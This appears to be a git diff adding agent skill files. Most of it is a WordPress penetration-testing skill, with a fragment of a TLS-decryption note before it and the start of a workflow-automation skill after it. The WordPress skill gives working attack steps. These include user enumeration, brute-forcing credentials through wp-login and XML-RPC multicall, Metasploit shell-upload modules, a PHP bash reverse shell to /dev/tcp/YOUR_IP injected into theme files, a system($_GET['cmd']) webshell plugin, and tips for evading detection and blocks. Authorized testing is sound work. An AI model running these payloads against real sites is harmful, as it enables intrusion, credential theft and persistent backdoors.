- Obtain server private key
|
||||
- Configure at Edit > Preferences > Protocols > TLS
|
||||
- For ephemeral keys, capture pre-master secret from browser
|
||||
- Some modern ciphers cannot be decrypted passively
|
||||
482
skills/wordpress-penetration-testing/SKILL.md
Normal file
482
skills/wordpress-penetration-testing/SKILL.md
Normal file
@@ -0,0 +1,482 @@
|
||||
---
|
||||
name: WordPress Penetration Testing
|
||||
description: This skill should be used when the user asks to "pentest WordPress sites", "scan WordPress for vulnerabilities", "enumerate WordPress users, themes, or plugins", "exploit WordPress vulnerabilities", or "use WPScan". It provides comprehensive WordPress security assessment methodologies.
|
||||
---
|
||||
|
||||
# WordPress Penetration Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Required Tools
|
||||
- WPScan (pre-installed in Kali Linux)
|
||||
- Metasploit Framework
|
||||
- Burp Suite or OWASP ZAP
|
||||
- Nmap for initial discovery
|
||||
- cURL or wget
|
||||
|
||||
### Required Knowledge
|
||||
- WordPress architecture and structure
|
||||
- Web application testing fundamentals
|
||||
- HTTP protocol understanding
|
||||
- Common web vulnerabilities (OWASP Top 10)
|
||||
|
||||
## Outputs and Deliverables
|
||||
|
||||
1. **WordPress Enumeration Report** - Version, themes, plugins, users
|
||||
2. **Vulnerability Assessment** - Identified CVEs and misconfigurations
|
||||
3. **Credential Assessment** - Weak password findings
|
||||
4. **Exploitation Proof** - Shell access documentation
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: WordPress Discovery
|
||||
|
||||
Identify WordPress installations:
|
||||
|
||||
```bash
|
||||
# Check for WordPress indicators
|
||||
curl -s http://target.com | grep -i wordpress
|
||||
curl -s http://target.com | grep -i "wp-content"
|
||||
curl -s http://target.com | grep -i "wp-includes"
|
||||
|
||||
# Check common WordPress paths
|
||||
curl -I http://target.com/wp-login.php
|
||||
curl -I http://target.com/wp-admin/
|
||||
curl -I http://target.com/wp-content/
|
||||
curl -I http://target.com/xmlrpc.php
|
||||
|
||||
# Check meta generator tag
|
||||
curl -s http://target.com | grep "generator"
|
||||
|
||||
# Nmap WordPress detection
|
||||
nmap -p 80,443 --script http-wordpress-enum target.com
|
||||
```
|
||||
|
||||
Key WordPress files and directories:
|
||||
- `/wp-admin/` - Admin dashboard
|
||||
- `/wp-login.php` - Login page
|
||||
- `/wp-content/` - Themes, plugins, uploads
|
||||
- `/wp-includes/` - Core files
|
||||
- `/xmlrpc.php` - XML-RPC interface
|
||||
- `/wp-config.php` - Configuration (not accessible if secure)
|
||||
- `/readme.html` - Version information
|
||||
|
||||
### Phase 2: Basic WPScan Enumeration
|
||||
|
||||
Comprehensive WordPress scanning with WPScan:
|
||||
|
||||
```bash
|
||||
# Basic scan
|
||||
wpscan --url http://target.com/wordpress/
|
||||
|
||||
# With API token (for vulnerability data)
|
||||
wpscan --url http://target.com --api-token YOUR_API_TOKEN
|
||||
|
||||
# Aggressive detection mode
|
||||
wpscan --url http://target.com --detection-mode aggressive
|
||||
|
||||
# Output to file
|
||||
wpscan --url http://target.com -o results.txt
|
||||
|
||||
# JSON output
|
||||
wpscan --url http://target.com -f json -o results.json
|
||||
|
||||
# Verbose output
|
||||
wpscan --url http://target.com -v
|
||||
```
|
||||
|
||||
### Phase 3: WordPress Version Detection
|
||||
|
||||
Identify WordPress version:
|
||||
|
||||
```bash
|
||||
# WPScan version detection
|
||||
wpscan --url http://target.com
|
||||
|
||||
# Manual version checks
|
||||
curl -s http://target.com/readme.html | grep -i version
|
||||
curl -s http://target.com/feed/ | grep -i generator
|
||||
curl -s http://target.com | grep "?ver="
|
||||
|
||||
# Check meta generator
|
||||
curl -s http://target.com | grep 'name="generator"'
|
||||
|
||||
# Check RSS feeds
|
||||
curl -s http://target.com/feed/
|
||||
curl -s http://target.com/comments/feed/
|
||||
```
|
||||
|
||||
Version sources:
|
||||
- Meta generator tag in HTML
|
||||
- readme.html file
|
||||
- RSS/Atom feeds
|
||||
- JavaScript/CSS file versions
|
||||
|
||||
### Phase 4: Theme Enumeration
|
||||
|
||||
Identify installed themes:
|
||||
|
||||
```bash
|
||||
# Enumerate all themes
|
||||
wpscan --url http://target.com -e at
|
||||
|
||||
# Enumerate vulnerable themes only
|
||||
wpscan --url http://target.com -e vt
|
||||
|
||||
# Theme enumeration with detection mode
|
||||
wpscan --url http://target.com -e at --plugins-detection aggressive
|
||||
|
||||
# Manual theme detection
|
||||
curl -s http://target.com | grep "wp-content/themes/"
|
||||
curl -s http://target.com/wp-content/themes/
|
||||
```
|
||||
|
||||
Theme vulnerability checks:
|
||||
```bash
|
||||
# Search for theme exploits
|
||||
searchsploit wordpress theme <theme_name>
|
||||
|
||||
# Check theme version
|
||||
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
|
||||
curl -s http://target.com/wp-content/themes/<theme>/readme.txt
|
||||
```
|
||||
|
||||
### Phase 5: Plugin Enumeration
|
||||
|
||||
Identify installed plugins:
|
||||
|
||||
```bash
|
||||
# Enumerate all plugins
|
||||
wpscan --url http://target.com -e ap
|
||||
|
||||
# Enumerate vulnerable plugins only
|
||||
wpscan --url http://target.com -e vp
|
||||
|
||||
# Aggressive plugin detection
|
||||
wpscan --url http://target.com -e ap --plugins-detection aggressive
|
||||
|
||||
# Mixed detection mode
|
||||
wpscan --url http://target.com -e ap --plugins-detection mixed
|
||||
|
||||
# Manual plugin discovery
|
||||
curl -s http://target.com | grep "wp-content/plugins/"
|
||||
curl -s http://target.com/wp-content/plugins/
|
||||
```
|
||||
|
||||
Common vulnerable plugins to check:
|
||||
```bash
|
||||
# Search for plugin exploits
|
||||
searchsploit wordpress plugin <plugin_name>
|
||||
searchsploit wordpress mail-masta
|
||||
searchsploit wordpress slideshow gallery
|
||||
searchsploit wordpress reflex gallery
|
||||
|
||||
# Check plugin version
|
||||
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
|
||||
```
|
||||
|
||||
### Phase 6: User Enumeration
|
||||
|
||||
Discover WordPress users:
|
||||
|
||||
```bash
|
||||
# WPScan user enumeration
|
||||
wpscan --url http://target.com -e u
|
||||
|
||||
# Enumerate specific number of users
|
||||
wpscan --url http://target.com -e u1-100
|
||||
|
||||
# Author ID enumeration (manual)
|
||||
for i in {1..20}; do
|
||||
curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
|
||||
done
|
||||
|
||||
# JSON API user enumeration (if enabled)
|
||||
curl -s http://target.com/wp-json/wp/v2/users
|
||||
|
||||
# REST API user enumeration
|
||||
curl -s http://target.com/wp-json/wp/v2/users?per_page=100
|
||||
|
||||
# Login error enumeration
|
||||
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
|
||||
```
|
||||
|
||||
### Phase 7: Comprehensive Enumeration
|
||||
|
||||
Run all enumeration modules:
|
||||
|
||||
```bash
|
||||
# Enumerate everything
|
||||
wpscan --url http://target.com -e at -e ap -e u
|
||||
|
||||
# Alternative comprehensive scan
|
||||
wpscan --url http://target.com -e vp,vt,u,cb,dbe
|
||||
|
||||
# Enumeration flags:
|
||||
# at - All themes
|
||||
# vt - Vulnerable themes
|
||||
# ap - All plugins
|
||||
# vp - Vulnerable plugins
|
||||
# u - Users (1-10)
|
||||
# cb - Config backups
|
||||
# dbe - Database exports
|
||||
|
||||
# Full aggressive enumeration
|
||||
wpscan --url http://target.com -e at,ap,u,cb,dbe \
|
||||
--detection-mode aggressive \
|
||||
--plugins-detection aggressive
|
||||
```
|
||||
|
||||
### Phase 8: Password Attacks
|
||||
|
||||
Brute-force WordPress credentials:
|
||||
|
||||
```bash
|
||||
# Single user brute-force
|
||||
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt
|
||||
|
||||
# Multiple users from file
|
||||
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt
|
||||
|
||||
# With password attack threads
|
||||
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50
|
||||
|
||||
# XML-RPC brute-force (faster, may bypass protection)
|
||||
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc
|
||||
|
||||
# Brute-force with API limiting
|
||||
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500
|
||||
|
||||
# Create targeted wordlist
|
||||
cewl http://target.com -w wordlist.txt
|
||||
wpscan --url http://target.com -U admin -P wordlist.txt
|
||||
```
|
||||
|
||||
Password attack methods:
|
||||
- `wp-login` - Standard login form
|
||||
- `xmlrpc` - XML-RPC multicall (faster)
|
||||
- `xmlrpc-multicall` - Multiple passwords per request
|
||||
|
||||
### Phase 9: Vulnerability Exploitation
|
||||
|
||||
#### Metasploit Shell Upload
|
||||
|
||||
After obtaining credentials:
|
||||
|
||||
```bash
|
||||
# Start Metasploit
|
||||
msfconsole
|
||||
|
||||
# Admin shell upload
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
set RHOSTS target.com
|
||||
set USERNAME admin
|
||||
set PASSWORD jessica
|
||||
set TARGETURI /wordpress
|
||||
set LHOST <your_ip>
|
||||
exploit
|
||||
```
|
||||
|
||||
#### Plugin Exploitation
|
||||
|
||||
```bash
|
||||
# Slideshow Gallery exploit
|
||||
use exploit/unix/webapp/wp_slideshowgallery_upload
|
||||
set RHOSTS target.com
|
||||
set TARGETURI /wordpress
|
||||
set USERNAME admin
|
||||
set PASSWORD jessica
|
||||
set LHOST <your_ip>
|
||||
exploit
|
||||
|
||||
# Search for WordPress exploits
|
||||
search type:exploit platform:php wordpress
|
||||
```
|
||||
|
||||
#### Manual Exploitation
|
||||
|
||||
Theme/plugin editor (with admin access):
|
||||
|
||||
```php
|
||||
// Navigate to Appearance > Theme Editor
|
||||
// Edit 404.php or functions.php
|
||||
// Add PHP reverse shell:
|
||||
|
||||
<?php
|
||||
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
|
||||
?>
|
||||
|
||||
// Or use weevely backdoor
|
||||
// Access via: http://target.com/wp-content/themes/theme_name/404.php
|
||||
```
|
||||
|
||||
Plugin upload method:
|
||||
|
||||
```bash
|
||||
# Create malicious plugin
|
||||
cat > malicious.php << 'EOF'
|
||||
<?php
|
||||
/*
|
||||
Plugin Name: Malicious Plugin
|
||||
Description: Security Testing
|
||||
Version: 1.0
|
||||
*/
|
||||
if(isset($_GET['cmd'])){
|
||||
system($_GET['cmd']);
|
||||
}
|
||||
?>
|
||||
EOF
|
||||
|
||||
# Zip and upload via Plugins > Add New > Upload Plugin
|
||||
zip malicious.zip malicious.php
|
||||
|
||||
# Access webshell
|
||||
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
|
||||
```
|
||||
|
||||
### Phase 10: Advanced Techniques
|
||||
|
||||
#### XML-RPC Exploitation
|
||||
|
||||
```bash
|
||||
# Check if XML-RPC is enabled
|
||||
curl -X POST http://target.com/xmlrpc.php
|
||||
|
||||
# List available methods
|
||||
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php
|
||||
|
||||
# Brute-force via XML-RPC multicall
|
||||
cat > xmlrpc_brute.xml << 'EOF'
|
||||
<?xml version="1.0"?>
|
||||
<methodCall>
|
||||
<methodName>system.multicall</methodName>
|
||||
<params>
|
||||
<param><value><array><data>
|
||||
<value><struct>
|
||||
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
|
||||
<member><name>params</name><value><array><data>
|
||||
<value><string>admin</string></value>
|
||||
<value><string>password1</string></value>
|
||||
</data></array></value></member>
|
||||
</struct></value>
|
||||
<value><struct>
|
||||
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
|
||||
<member><name>params</name><value><array><data>
|
||||
<value><string>admin</string></value>
|
||||
<value><string>password2</string></value>
|
||||
</data></array></value></member>
|
||||
</struct></value>
|
||||
</data></array></value></param>
|
||||
</params>
|
||||
</methodCall>
|
||||
EOF
|
||||
|
||||
curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
|
||||
```
|
||||
|
||||
#### Scanning Through Proxy
|
||||
|
||||
```bash
|
||||
# Use Tor proxy
|
||||
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
|
||||
|
||||
# HTTP proxy
|
||||
wpscan --url http://target.com --proxy http://127.0.0.1:8080
|
||||
|
||||
# Burp Suite proxy
|
||||
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
|
||||
```
|
||||
|
||||
#### HTTP Authentication
|
||||
|
||||
```bash
|
||||
# Basic authentication
|
||||
wpscan --url http://target.com --http-auth admin:password
|
||||
|
||||
# Force SSL/TLS
|
||||
wpscan --url https://target.com --disable-tls-checks
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### WPScan Enumeration Flags
|
||||
|
||||
| Flag | Description |
|
||||
|------|-------------|
|
||||
| `-e at` | All themes |
|
||||
| `-e vt` | Vulnerable themes |
|
||||
| `-e ap` | All plugins |
|
||||
| `-e vp` | Vulnerable plugins |
|
||||
| `-e u` | Users (1-10) |
|
||||
| `-e cb` | Config backups |
|
||||
| `-e dbe` | Database exports |
|
||||
|
||||
### Common WordPress Paths
|
||||
|
||||
| Path | Purpose |
|
||||
|------|---------|
|
||||
| `/wp-admin/` | Admin dashboard |
|
||||
| `/wp-login.php` | Login page |
|
||||
| `/wp-content/uploads/` | User uploads |
|
||||
| `/wp-includes/` | Core files |
|
||||
| `/xmlrpc.php` | XML-RPC API |
|
||||
| `/wp-json/` | REST API |
|
||||
|
||||
### WPScan Command Examples
|
||||
|
||||
| Purpose | Command |
|
||||
|---------|---------|
|
||||
| Basic scan | `wpscan --url http://target.com` |
|
||||
| All enumeration | `wpscan --url http://target.com -e at,ap,u` |
|
||||
| Password attack | `wpscan --url http://target.com -U admin -P pass.txt` |
|
||||
| Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Legal Considerations
|
||||
- Obtain written authorization before testing
|
||||
- Stay within defined scope
|
||||
- Document all testing activities
|
||||
- Follow responsible disclosure
|
||||
|
||||
### Technical Limitations
|
||||
- WAF may block scanning
|
||||
- Rate limiting may prevent brute-force
|
||||
- Some plugins may have false negatives
|
||||
- XML-RPC may be disabled
|
||||
|
||||
### Detection Evasion
|
||||
- Use random user agents: `--random-user-agent`
|
||||
- Throttle requests: `--throttle 1000`
|
||||
- Use proxy rotation
|
||||
- Avoid aggressive modes on monitored sites
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### WPScan Shows No Vulnerabilities
|
||||
|
||||
**Solutions:**
|
||||
1. Use API token for vulnerability database
|
||||
2. Try aggressive detection mode
|
||||
3. Check for WAF blocking scans
|
||||
4. Verify WordPress is actually installed
|
||||
|
||||
### Brute-Force Blocked
|
||||
|
||||
**Solutions:**
|
||||
1. Use XML-RPC method instead of wp-login
|
||||
2. Add throttling: `--throttle 500`
|
||||
3. Use different user agents
|
||||
4. Check for IP blocking/fail2ban
|
||||
|
||||
### Cannot Access Admin Panel
|
||||
|
||||
**Solutions:**
|
||||
1. Verify credentials are correct
|
||||
2. Check for two-factor authentication
|
||||
3. Look for IP whitelist restrictions
|
||||
4. Check for login URL changes (security plugins)
|
||||
705
skills/workflow-automation/SKILL.md
Normal file
705
skills/workflow-automation/SKILL.md
Normal file
@@ -0,0 +1,705 @@
|
||||
---
|
||||
name: workflow-automation
|
||||
description: "Design and implement automated workflows combining visual logic with custom code. Create multi-step automations, integrate APIs, and build AI-native pipelines. Use when designing automation flows, integrating APIs, building event-driven systems, or creating LangChain-style AI workflows."
|
||||
---
|
||||
|
||||
# 🔄 Workflow Automation
|
||||
|
||||
> Patterns for building robust automated workflows, inspired by [n8n](https://github.com/n8n-io/n8n) and modern automation platforms.
|
||||
|
||||
## When to Use This Skill
|
||||
|
||||
Use this skill when:
|
||||
|
||||
- Designing multi-step automation workflows
|
||||
- Integrating multiple APIs and services
|
||||
- Building event-driven systems
|
||||
- Creating AI-augmented pipelines
|
||||
- Handling errors in complex flows
|
||||
|
||||
---
|
||||
|
||||
## 1. Workflow Design Principles
|
||||
|
||||
### 1.1 Core Concepts
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ WORKFLOW │
|
||||
│ ┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐ │
|
||||
│ │Trigger │───▶│ Node │───▶│ Node │───▶│ Action │ │
|
||||
│ └────────┘ └────────┘ └────────┘ └────────┘ │
|
||||
│ │ │ │ │ │
|
||||
│ ▼ ▼ ▼ ▼ │
|
||||
│ [Webhook] [Transform] [Condition] [Send Email] │
|
||||
└─────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
**Key Components**:
|
||||
|
||||
- **Trigger**: What starts the workflow
|
||||
- **Node**: Individual processing step
|
||||
- **Edge**: Connection between nodes
|
||||
- **Action**: External effect (API call, email, etc.)
|
||||
|
||||
### 1.2 Trigger Types
|
||||
|
||||
```javascript
|
||||
const TRIGGER_TYPES = {
|
||||
// Event-based
|
||||
webhook: {
|
||||
description: "HTTP request triggers workflow",
|
||||
use_case: "External integrations, form submissions",
|
||||
example: "POST /webhook/order-created",
|
||||
},
|
||||
|
||||
// Time-based
|
||||
cron: {
|
||||
description: "Scheduled execution",
|
||||
use_case: "Reports, cleanup, sync jobs",
|
||||
example: "0 9 * * *", // Daily at 9 AM
|
||||
},
|
||||
|
||||
// Change-based
|
||||
polling: {
|
||||
description: "Check for changes periodically",
|
||||
use_case: "Monitor RSS, check file changes",
|
||||
example: "Every 5 minutes check for new items",
|
||||
},
|
||||
|
||||
// Message-based
|
||||
queue: {
|
||||
description: "Process from message queue",
|
||||
use_case: "Async processing, decoupling",
|
||||
example: "SQS, RabbitMQ, Redis Streams",
|
||||
},
|
||||
|
||||
// Manual
|
||||
manual: {
|
||||
description: "User-initiated execution",
|
||||
use_case: "Testing, on-demand tasks",
|
||||
example: "Run workflow button",
|
||||
},
|
||||
};
|
||||
```
|
||||
|
||||
### 1.3 Node Types
|
||||
|
||||
```javascript
|
||||
const NODE_TYPES = {
|
||||
// Data transformation
|
||||
transform: {
|
||||
description: "Modify data shape or values",
|
||||
operations: ["map", "filter", "merge", "split"],
|
||||
},
|
||||
|
||||
// Flow control
|
||||
condition: {
|
||||
description: "Branch based on logic",
|
||||
operations: ["if/else", "switch", "filter"],
|
||||
},
|
||||
|
||||
// External actions
|
||||
action: {
|
||||
description: "Interact with external services",
|
||||
operations: ["HTTP request", "database", "email", "API"],
|
||||
},
|
||||
|
||||
// Sub-workflows
|
||||
subworkflow: {
|
||||
description: "Call another workflow",
|
||||
operations: ["invoke", "wait", "parallel"],
|
||||
},
|
||||
|
||||
// Error handling
|
||||
errorHandler: {
|
||||
description: "Handle failures gracefully",
|
||||
operations: ["retry", "fallback", "notify"],
|
||||
},
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 2. Common Workflow Patterns
|
||||
|
||||
### 2.1 Sequential Pipeline
|
||||
|
||||
```javascript
|
||||
// Simple A → B → C flow
|
||||
const sequentialWorkflow = {
|
||||
trigger: { type: "webhook", path: "/process" },
|
||||
nodes: [
|
||||
{
|
||||
id: "fetch",
|
||||
type: "http",
|
||||
config: {
|
||||
method: "GET",
|
||||
url: "{{trigger.data.api_url}}",
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "transform",
|
||||
type: "code",
|
||||
config: {
|
||||
code: `
|
||||
return items.map(item => ({
|
||||
id: item.id,
|
||||
name: item.name.toUpperCase(),
|
||||
processed: true
|
||||
}));
|
||||
`,
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "save",
|
||||
type: "database",
|
||||
config: {
|
||||
operation: "insert",
|
||||
table: "processed_items",
|
||||
data: "{{transform.output}}",
|
||||
},
|
||||
},
|
||||
],
|
||||
};
|
||||
```
|
||||
|
||||
### 2.2 Parallel Execution
|
||||
|
||||
```javascript
|
||||
// Fan-out: Execute multiple nodes in parallel
|
||||
const parallelWorkflow = {
|
||||
trigger: { type: "cron", schedule: "0 * * * *" },
|
||||
nodes: [
|
||||
{
|
||||
id: "parallel_group",
|
||||
type: "parallel",
|
||||
nodes: [
|
||||
{
|
||||
id: "fetch_users",
|
||||
type: "http",
|
||||
config: { url: "/api/users" },
|
||||
},
|
||||
{
|
||||
id: "fetch_orders",
|
||||
type: "http",
|
||||
config: { url: "/api/orders" },
|
||||
},
|
||||
{
|
||||
id: "fetch_products",
|
||||
type: "http",
|
||||
config: { url: "/api/products" },
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
id: "merge",
|
||||
type: "merge",
|
||||
config: {
|
||||
method: "append", // or "combine", "zip"
|
||||
inputs: ["fetch_users", "fetch_orders", "fetch_products"],
|
||||
},
|
||||
},
|
||||
],
|
||||
};
|
||||
```
|
||||
|
||||
### 2.3 Conditional Branching
|
||||
|
||||
```javascript
|
||||
const conditionalWorkflow = {
|
||||
trigger: { type: "webhook", path: "/order" },
|
||||
nodes: [
|
||||
{
|
||||
id: "check_value",
|
||||
type: "switch",
|
||||
config: {
|
||||
property: "{{trigger.data.total}}",
|
||||
rules: [
|
||||
{ operator: "gte", value: 1000, output: "high_value" },
|
||||
{ operator: "gte", value: 100, output: "medium_value" },
|
||||
{ operator: "lt", value: 100, output: "low_value" },
|
||||
],
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "high_value",
|
||||
type: "action",
|
||||
onlyIf: "{{check_value.output}} === 'high_value'",
|
||||
config: {
|
||||
action: "notify_sales_team",
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "medium_value",
|
||||
type: "action",
|
||||
onlyIf: "{{check_value.output}} === 'medium_value'",
|
||||
config: {
|
||||
action: "send_thank_you_email",
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "low_value",
|
||||
type: "action",
|
||||
onlyIf: "{{check_value.output}} === 'low_value'",
|
||||
config: {
|
||||
action: "add_to_newsletter",
|
||||
},
|
||||
},
|
||||
],
|
||||
};
|
||||
```
|
||||
|
||||
### 2.4 Loop/Iterator Pattern
|
||||
|
||||
```javascript
|
||||
const loopWorkflow = {
|
||||
trigger: { type: "manual" },
|
||||
nodes: [
|
||||
{
|
||||
id: "fetch_items",
|
||||
type: "http",
|
||||
config: { url: "/api/items" },
|
||||
},
|
||||
{
|
||||
id: "process_each",
|
||||
type: "loop",
|
||||
config: {
|
||||
items: "{{fetch_items.data}}",
|
||||
batchSize: 10, // Process 10 at a time
|
||||
continueOnError: true,
|
||||
},
|
||||
nodes: [
|
||||
{
|
||||
id: "enrich",
|
||||
type: "http",
|
||||
config: {
|
||||
url: "/api/enrich/{{item.id}}",
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "save",
|
||||
type: "database",
|
||||
config: {
|
||||
operation: "update",
|
||||
id: "{{item.id}}",
|
||||
data: "{{enrich.output}}",
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
};
|
||||
```
|
||||
|
||||
### 2.5 Wait/Delay Pattern
|
||||
|
||||
```javascript
|
||||
const waitWorkflow = {
|
||||
trigger: { type: "webhook", path: "/signup" },
|
||||
nodes: [
|
||||
{
|
||||
id: "send_welcome",
|
||||
type: "email",
|
||||
config: {
|
||||
to: "{{trigger.data.email}}",
|
||||
template: "welcome",
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "wait_24h",
|
||||
type: "wait",
|
||||
config: {
|
||||
duration: "24h",
|
||||
// Or: resumeAt: "{{trigger.data.preferred_time}}"
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "send_onboarding",
|
||||
type: "email",
|
||||
config: {
|
||||
to: "{{trigger.data.email}}",
|
||||
template: "onboarding_tips",
|
||||
},
|
||||
},
|
||||
],
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. Error Handling Patterns
|
||||
|
||||
### 3.1 Retry with Backoff
|
||||
|
||||
```javascript
|
||||
const retryConfig = {
|
||||
retries: 3,
|
||||
backoff: "exponential", // linear, exponential, fixed
|
||||
initialDelay: 1000, // ms
|
||||
maxDelay: 30000, // ms
|
||||
retryOn: ["ECONNRESET", "ETIMEDOUT", "HTTP_5XX"],
|
||||
};
|
||||
|
||||
const nodeWithRetry = {
|
||||
id: "api_call",
|
||||
type: "http",
|
||||
config: { url: "/api/external" },
|
||||
errorHandling: {
|
||||
retry: retryConfig,
|
||||
onMaxRetries: {
|
||||
action: "continue", // or "fail", "branch"
|
||||
fallbackValue: { data: [] },
|
||||
},
|
||||
},
|
||||
};
|
||||
```
|
||||
|
||||
### 3.2 Dead Letter Queue
|
||||
|
||||
```javascript
|
||||
const workflowWithDLQ = {
|
||||
config: {
|
||||
onError: {
|
||||
action: "send_to_dlq",
|
||||
queue: "failed_workflows",
|
||||
includeContext: true, // Include full workflow state
|
||||
},
|
||||
},
|
||||
nodes: [
|
||||
/* ... */
|
||||
],
|
||||
};
|
||||
|
||||
// Separate workflow to process failed items
|
||||
const dlqProcessor = {
|
||||
trigger: {
|
||||
type: "queue",
|
||||
queue: "failed_workflows",
|
||||
},
|
||||
nodes: [
|
||||
{
|
||||
id: "analyze",
|
||||
type: "code",
|
||||
config: {
|
||||
code: `
|
||||
const error = $input.error;
|
||||
const context = $input.context;
|
||||
|
||||
// Classify error
|
||||
if (error.type === 'VALIDATION') {
|
||||
return { action: 'discard', reason: 'Bad data' };
|
||||
}
|
||||
if (error.type === 'RATE_LIMIT') {
|
||||
return { action: 'retry', delay: '1h' };
|
||||
}
|
||||
return { action: 'manual_review' };
|
||||
`,
|
||||
},
|
||||
},
|
||||
],
|
||||
};
|
||||
```
|
||||
|
||||
### 3.3 Compensation/Rollback
|
||||
|
||||
```javascript
|
||||
const sagaWorkflow = {
|
||||
name: "order_saga",
|
||||
nodes: [
|
||||
{
|
||||
id: "reserve_inventory",
|
||||
type: "api",
|
||||
compensate: {
|
||||
id: "release_inventory",
|
||||
type: "api",
|
||||
config: { method: "POST", url: "/inventory/release" },
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "charge_payment",
|
||||
type: "api",
|
||||
compensate: {
|
||||
id: "refund_payment",
|
||||
type: "api",
|
||||
config: { method: "POST", url: "/payments/refund" },
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "create_shipment",
|
||||
type: "api",
|
||||
compensate: {
|
||||
id: "cancel_shipment",
|
||||
type: "api",
|
||||
config: { method: "POST", url: "/shipments/cancel" },
|
||||
},
|
||||
},
|
||||
],
|
||||
onError: {
|
||||
strategy: "compensate_all", // Run all compensations in reverse order
|
||||
},
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Integration Patterns
|
||||
|
||||
### 4.1 API Integration Template
|
||||
|
||||
```javascript
|
||||
const apiIntegration = {
|
||||
name: "github_integration",
|
||||
baseUrl: "https://api.github.com",
|
||||
auth: {
|
||||
type: "bearer",
|
||||
token: "{{secrets.GITHUB_TOKEN}}",
|
||||
},
|
||||
operations: {
|
||||
listRepos: {
|
||||
method: "GET",
|
||||
path: "/user/repos",
|
||||
params: {
|
||||
per_page: 100,
|
||||
sort: "updated",
|
||||
},
|
||||
},
|
||||
createIssue: {
|
||||
method: "POST",
|
||||
path: "/repos/{{owner}}/{{repo}}/issues",
|
||||
body: {
|
||||
title: "{{title}}",
|
||||
body: "{{body}}",
|
||||
labels: "{{labels}}",
|
||||
},
|
||||
},
|
||||
},
|
||||
rateLimiting: {
|
||||
requests: 5000,
|
||||
period: "1h",
|
||||
strategy: "queue", // queue, reject, throttle
|
||||
},
|
||||
};
|
||||
```
|
||||
|
||||
### 4.2 Webhook Handler
|
||||
|
||||
```javascript
|
||||
const webhookHandler = {
|
||||
trigger: {
|
||||
type: "webhook",
|
||||
path: "/webhooks/stripe",
|
||||
method: "POST",
|
||||
authentication: {
|
||||
type: "signature",
|
||||
header: "stripe-signature",
|
||||
secret: "{{secrets.STRIPE_WEBHOOK_SECRET}}",
|
||||
algorithm: "sha256",
|
||||
},
|
||||
},
|
||||
nodes: [
|
||||
{
|
||||
id: "validate",
|
||||
type: "code",
|
||||
config: {
|
||||
code: `
|
||||
const event = $input.body;
|
||||
if (!['checkout.session.completed',
|
||||
'payment_intent.succeeded'].includes(event.type)) {
|
||||
return { skip: true };
|
||||
}
|
||||
return event;
|
||||
`,
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "route",
|
||||
type: "switch",
|
||||
config: {
|
||||
property: "{{validate.type}}",
|
||||
routes: {
|
||||
"checkout.session.completed": "handle_checkout",
|
||||
"payment_intent.succeeded": "handle_payment",
|
||||
},
|
||||
},
|
||||
},
|
||||
],
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. AI-Native Workflows
|
||||
|
||||
### 5.1 LLM in Pipeline
|
||||
|
||||
```javascript
|
||||
const aiWorkflow = {
|
||||
trigger: { type: "webhook", path: "/analyze" },
|
||||
nodes: [
|
||||
{
|
||||
id: "extract_text",
|
||||
type: "code",
|
||||
config: {
|
||||
code: "return { text: $input.document.content }",
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "analyze_sentiment",
|
||||
type: "llm",
|
||||
config: {
|
||||
model: "gpt-4",
|
||||
prompt: `
|
||||
Analyze the sentiment of the following text.
|
||||
Return JSON: {"sentiment": "positive|negative|neutral", "confidence": 0-1}
|
||||
|
||||
Text: {{extract_text.text}}
|
||||
`,
|
||||
responseFormat: "json",
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "route_by_sentiment",
|
||||
type: "switch",
|
||||
config: {
|
||||
